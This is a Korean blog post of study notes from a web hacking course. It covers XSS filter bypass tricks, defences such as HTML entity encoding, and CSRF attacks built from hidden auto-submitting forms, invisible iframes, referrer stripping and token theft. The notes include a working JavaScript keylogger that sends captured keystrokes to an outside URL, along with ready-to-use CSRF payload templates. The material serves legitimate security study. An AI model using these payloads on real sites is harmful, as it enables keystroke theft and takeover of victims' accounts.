-Anti XSS Bypass
-> Black List 기반 필터링
WAF.
일반 방화벽은 IP주소와 포트번호만으로 차단. WAF는 웹에플리케이션 기반으로 요청을 열어보고 막아줌. 이는 패턴 기반임. 대부분의 WAF는 XSS가 막힘.
1) Client Side 검증 우회
클라이언트측에서 검증을한다? 말이 안됨.
javascript와 같은 언어로 클라이언트측에서 특정언어를 필터링 - > burp swip과 같은 프록시툴을 통하여 변경이 가능
2) Script Load
", ' , alert, function 과 같은 특정 단어를 애매하게 필터링 - > 스크립트를 로드할 수 있음
<script src=공격코드가 저장된url></script>
이는 글자수 제한과 같은 부분에 사용이 가능
3)대소문자 혼용
<script> - > <ScipT>
4)필터링 되는 문자 반복
<script> -> <scrisciriptpt>
5)EvnentHandler
<img src=x onerror="alert(1)"
tag, eventhandler를 많이 알고있어야함.
ex) <svg>, onload, onactivate
PortSwigger Cheat Sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
**XSS 대응방안
-> 특수문자를 HTML Entity로 변환
이를 적용할 경우 <script>의 경우 <script>로 저장되나 실제로 보이는 모습은 <script>임
왜 xss가 발생할까?
모든 요소에 이러한 필터를 적용하기 힘듬
또는 꺽쇠와 같이 특정 요소만을 필터링하는 경우가 있음
다만 이는 원래 있던 태그들을 활용할 수 있음
<input value="입력">
위의 경우 이벤트 핸들러 삽입을 통해 JS코드를 실행이 가능함.
XSS 7 해답
회원가입시 메인페이지에 username이 뜸. 여기서xss취약점 발생.
로그인시 js코드가 실행됨
로그인 요청을 get방식으로 변환시켜서 공격이 가능.
다음과 같은 키로거를 삽입 가능.
-- XSS Keylogger
var keys = "";
var hackUrl = 'http://normaltic.com/keylogger.php?c='
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys != '') {
new Image().src = hackUrl + keys;
keys = '';
}
}, 200);
다만 길이가 너무 길어질 수 있음 이를 공격자의 웹 서버에 띄워놓으면 됨. (참고로 0.2초마다 보내는 이유는 너무 요청이 잦거나 느릴 수 있기 때문)
피싱 페이지로 연결 . base태그를 통해 css를 배껴올 수 있음
다양한 해킹 시나리오를 창의적으로 찾아야함. 보고서에 시나리오가 들어가게 하면 취약점의 위험성을 느끼게 할 수 있음.
****대응방안
* HTML -> HTML Entity
* HTML Editer의 경우
-> step 1 .모든 문자를 HTML Entity로 치환
-> step 2. 화이트리스트 기반으로 허용해줄 태그를 허용.
-> step 3. 블랙리스트기반 Event Handler 필터링.
*CSRF(Cross Site Request Forgery, 요청위조)
피해자의 세션을 활용. 피해자 모르게 피해자가 스스로 특정 요청을 하도록 하는것.
> 발생위치 : 모든 요청. 어디서든 발생
>민감한요청 ex) 비밀번호 변경, 이메일 주소 변경, 관리자계정 등록...
CSRF 확인.
비밀번호 변경 페이지의 경우. 비밀번호를 바꾸겠다는 요청이 어떻게 나가는지를 확인. 만약 요청이 제대로 전송이된다면 피해자가 그 페이지를 클릭할 경우 그 사람의 세션으로 요청이 보내짐
1. mathod를 post에서 get으로 바꿔서 처리가 되는지 확안. -> 되면 링크 클릭시
2. get으로 처리가 되지 않도록 함. -> 이 경우에는 XSS취약점을 활용.
->XSS를 활용해야하는 이유 : POST전송을 위해서는form태그가 필요함.
<form matod="POST" action="URL">
<input type="hidden" name="email" value="변경하고싶은것" >
<input submit>
</form>
<form matod="POST" action="URL">
<input type="hidden" name="email" value="변경하고싶은것" >
</form>
<script>
documet.form[0].submit();
</script>
//버튼을 누를 필요가 없음.
<iframe width="0" hight="0" border"0" name"stealthframe" id="stealthframe" style="display:none;">
</iframe>
//보이지 않는 iframe창을 띄움
<form matod="POST" action="URL" target="stealthframe">
//타겟으로 stealthframe으로 지정
<input type="hidden" name="email" value="변경하고싶은것" >
</form>
<script>
documet.form[0].submit();
</script>
//버튼을 누를 필요가 없음.
3. Referrer Check
Referer : 이 요청이 어디로부터 온건지 확인하는 것.
이 Referer Check가 잘 되면 우회가 안됨.
잘 안되는 경우 : 만약 Referrer가 있으면 체크하지만 없으면 체크하지 않는경우.(개발자들이 성능을 생각하기 때문.)
<meta name="referrer" content="no-referrer">
//referrer가 없는상태로 보내짐
4.CSRF Token
요청을 보내는 페이지에 입장하는 순간 input tag에 hidden으로 랜덤한 csrf token을 발행 및 세션에 저장.
만약 요청을 보낼 경우 이 csrf token을 확인.
피해자가 iframe으로 들어감. iframe토큰을iframe 내에서 발행됨. 이를 꺼내와서 JS코드를통해 가져와서 전송.
첫번째 iframe이 토큰을 가져오도록 하는 요청하는 페이지로 들어가게하는 곳. 두번째가 요청을 보내는 iframe.
CSRF vs XSS
csrf : 피해자가 의도치않게, 자신도 모르 자신의 계정으로 요청을 보내게 하는 공격
xss : 피해자의 페이지에 악성 스크립트를 삽입시키는 공격
비밀번호 변경페이지에서 비밀번호를 확인 뒤 변경 가능 - > CSRF불가. 근본적인 방어법\
8주차 과제.
1. xss공격기법 총 정리
2. csrf 공격 정리
3. csrf문제. 1,2 -> 자신의 계정으로 게시글을 보기만해도 비밀번호가 변경되도록.
4. 웹개발.
5. csrf 3번문제.
'Nomaltic Hacking Study' 카테고리의 다른 글
2023.06.01 (0) | 2023.06.01 |
---|---|
2023.05.25 (0) | 2023.05.25 |
2023.5.11 (0) | 2023.05.11 |
2023.05.09 (0) | 2023.05.09 |
2023.05.04 (6주차) (0) | 2023.05.04 |